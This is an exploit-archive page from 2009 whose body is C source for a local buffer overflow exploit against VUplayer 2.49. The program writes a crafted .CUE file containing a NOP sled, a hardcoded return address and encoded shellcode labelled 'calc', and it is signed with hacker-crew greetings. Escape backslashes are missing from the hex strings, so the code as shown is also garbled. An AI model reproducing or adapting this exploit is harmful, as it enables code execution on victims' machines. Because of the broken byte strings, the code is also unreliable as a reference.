[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : VUplayer 2.49 .CUE File Local Buffer Overflow Exploit
# Published : 2009-03-02
# Author : Assed Edin
# Previous Title : Media Commands (m3u File) Local SEH Overwrite Exploit
# Next Title : Hex Workshop v6 (.HEX File) Local Code Execution Exploit


/*

  Author: Assed Edin
  E-mail: storms0uth@hotmail.com
  GreetS : Xcracker & SimO-s0ft & Ga3 Drari Wlad MArrakech ^_^ o Manssawch Lyc???? Hassan2 & Str0ke
  
*/



#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
#define OFFSET 1012


char header1[]=     
"x46x49x4cx45x20x22";

char header2[]= 
"x2ex42x49x4ex22x20x42x49x4ex41x52x59x0dx0ax20"
"x54x52x41x43x4bx20x30x31x20x4dx4fx44x45x31x2fx32"
"x33x35x32x0dx0ax20x20x20x49x4ex44x45x58x20x30x31"
"x20x30x30x3ax30x30x3ax30x30";
//calc 343
char scode[]=
"x31xc9x83xe9xdexd9xeexd9x74x24xf4x5bx81x73x13x08"
"x99x23x82x83xebxfcxe2xf4xf4x71x67x82x08x99xa8xc7"
"x34x12x5fx87x70x98xccx09x47x81xa8xddx28x98xc8xcb"
"x83xadxa8x83xe6xa8xe3x1bxa4x1dxe3xf6x0fx58xe9x8f"
"x09x5bxc8x76x33xcdx07x86x7dx7cxa8xddx2cx98xc8xe4"
"x83x95x68x09x57x85x22x69x83x85xa8x83xe3x10x7fxa6"
"x0cx5ax12x42x6cx12x63xb2x8dx59x5bx8ex83xd9x2fx09"
"x78x85x8ex09x60x91xc8x8bx83x19x93x82x08x99xa8xea"
"x34xc6x12x74x68xcfxaax7ax8bx59x58xd2x60x69xa9x86"
"x57xf1xbbx7cx82x97x74x7dxefxfax42xeex6bx99x23x82";

char NOP[]="x90x90x90x90";
int main(int argc,char *argv[]){
  FILE *openfile;
  unsigned char *buffer;
  unsigned int RET =0x7c836960;
  int offset=0;
  printf("Coded By Assad edin (Sat0rA-Cr3w - Moroccan Hackers)n");
  printf("Email : storms0uth@hotmail.comn");
  if ((openfile=fopen("wa33.cue","wb"))==NULL){
                                            perror("Canot open file");
                                            }
  buffer = (unsigned char *) malloc (OFFSET+4+strlen(NOP)+strlen(scode));
  memset(buffer,0x90,OFFSET+4+strlen(NOP)+strlen(scode));
  offset=OFFSET;
  memcpy(buffer+offset,&RET,4);
  offset+=4;
  memcpy(buffer+offset,NOP,strlen(NOP));
  offset+=strlen(NOP);
  memcpy(buffer+offset,scode,strlen(scode));
  offset+=strlen(scode);
  fputs(header1,openfile);
  fputs(buffer,openfile);
  fputs(header2,openfile);
  fclose(openfile);
  free(buffer);
  return 0;
}

// www.Syue.com [2009-03-02]